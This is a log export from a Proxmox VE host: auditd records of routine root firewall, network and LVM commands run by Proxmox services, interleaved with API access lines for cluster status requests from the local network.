{"@timestamp":1781966115221,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.221:68506): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65790 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375925,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964505974,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.974:61302): argc=1 a0=\"date\""} {"@timestamp":1781966115184,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.184:68499): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964750517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964750.517:62430): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59871 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965427969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965427.969:65576): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62990 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105198,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.198:59610): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f91b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57249 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.217:68505): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5823f7141740 items=0 ppid=1156 pid=65789 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965375925,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781964505971,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.971:61300): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966115177,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.177:68498): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964750517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964750.517:62429): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59871 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965427959,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965427.959:65574): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62989 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105193,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.193:59609): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8bf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57248 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115215,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.215:68504): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc146700 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65789 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965374727,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:53 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964505964,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.964:61299): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966115170,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.170:68497): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964750509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964750.509:62427): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59870 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965427959,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965427.959:65573): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62989 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105185,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.185:59608): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57247 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115208,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.208:68503): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138a90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65788 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965374727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 903"} {"@timestamp":1781964505958,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.958:61298): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966115166,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.166:68496): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964750509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964750.509:62426): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59870 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965425660,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.660:65569): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd4f44e920 a1=576aab8fa310 a2=576aab8f3680 a3=5 items=1 ppid=62982 pid=62983 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.178:59607): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13b090 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57246 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115202,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.202:68502): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1389d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965374727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781964505954,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.954:61297): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966115164,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.164:68495): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964745501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.501:62424): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965425551,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.551:65551): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd896e36c0 a1=634e9b0d91c0 a2=634e9b0b7680 a3=5 items=1 ppid=62963 pid=62964 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105175,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.175:59606): arch=c000003e syscall=59 success=yes exit=0 a0=6037ee655d30 a1=6037ee661af0 a2=6037ee62f680 a3=5 items=2 ppid=57239 pid=57245 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115196,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.196:68501): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131650 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65786 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965372897,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964505948,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.948:61296): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966115162,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.162:68494): argc=1 a0=\"date\""} {"@timestamp":1781964745501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.501:62423): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965422949,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965422.949:65541): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.171:59605): arch=c000003e syscall=59 success=yes exit=0 a0=6037c7fedac8 a1=7ffd06c4f6d0 a2=6037ee62f680 a3=6037c7fd124e items=2 ppid=57239 pid=57241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.190:68500): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1389d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65785 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965371892,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 885"} {"@timestamp":1781964505942,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.942:61295): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966115158,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.158:68492): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964745493,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.493:62421): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965422949,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965422.949:65540): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.170:59604): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd06c4f690 a1=6037ee6513d0 a2=6037ee62f680 a3=5 items=2 ppid=57239 pid=57240 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.184:68499): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65784 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965371892,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964504924,"@rawstring":"node=pve type=EXECVE msg=audit(1781964504.924:61294): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966115151,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.151:68491): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964745493,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.493:62420): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965422941,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965422.941:65538): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105166,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.166:59602): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57239 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115177,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.177:68498): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65783 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965371892,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964504899,"@rawstring":"node=pve type=EXECVE msg=audit(1781964504.899:61293): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966115144,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.144:68490): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964745188,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.188:62416): arch=c000003e syscall=59 success=no exit=-2 a0=7fff304ed720 a1=60e4db071310 a2=60e4db06a680 a3=5 items=1 ppid=59861 pid=59862 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965422941,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965422.941:65537): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.160:59601): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57238 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.170:68497): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65782 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965371892,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964504622,"@rawstring":"node=pve type=EXECVE msg=audit(1781964504.622:61292): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966115138,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.138:68489): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964745110,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.110:62398): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc068bea40 a1=5971f1fbc1c0 a2=5971f1f9a680 a3=5 items=1 ppid=59842 pid=59843 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965417931,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965417.931:65532): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105153,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.153:59600): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57237 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115166,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.166:68496): arch=c000003e syscall=59 success=yes exit=0 a0=5b50e81b20a0 a1=5b50e81aee20 a2=5b50e8190680 a3=5 items=2 ppid=65775 pid=65781 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965369779,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964504614,"@rawstring":"node=pve type=EXECVE msg=audit(1781964504.614:61289): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966115130,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.130:68488): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964740483,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964740.483:62388): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59832 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965417931,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965417.931:65531): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.147:59599): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f1250 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57236 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.164:68495): arch=c000003e syscall=59 success=yes exit=0 a0=5b50e51daac8 a1=7ffccdb2ab10 a2=5b50e8190680 a3=5b50e51be24e items=2 ppid=65775 pid=65777 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965369779,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781964499608,"@rawstring":"node=pve type=EXECVE msg=audit(1781964499.608:61286): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966115121,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.121:68487): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964740483,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964740.483:62387): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59832 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} 